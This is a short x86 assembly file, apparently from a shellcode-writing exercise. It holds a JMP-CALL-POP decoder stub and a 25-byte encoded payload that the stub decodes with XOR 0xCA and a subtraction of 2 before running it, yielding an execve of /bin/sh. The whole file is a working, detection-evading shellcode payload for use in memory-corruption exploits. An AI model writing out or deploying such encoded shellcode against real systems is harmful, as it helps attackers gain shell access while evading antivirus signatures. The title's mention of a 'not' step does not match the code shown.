Shellcode encoded with add 2, xor and not

Add2XornNot.asm

; /bin/sh execv encoded with XOR and SUB 

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25


decode:
	xor byte [esi], 0xCA
	sub byte [esi], 0x2
	inc esi
	loop decode

	jmp short Shellcode



call_decoder:

	call decoder
	Shellcode: db 0xf9,0x08,0x98,0xa0,0xba,0xfb,0xbf,0xa0,0xa0,0xfb,0xfb,0xae,0xa1,0x41,0x2f,0x98,0x41,0x2e,0x9f,0x41,0x29,0x78,0xc7,0x05,0x48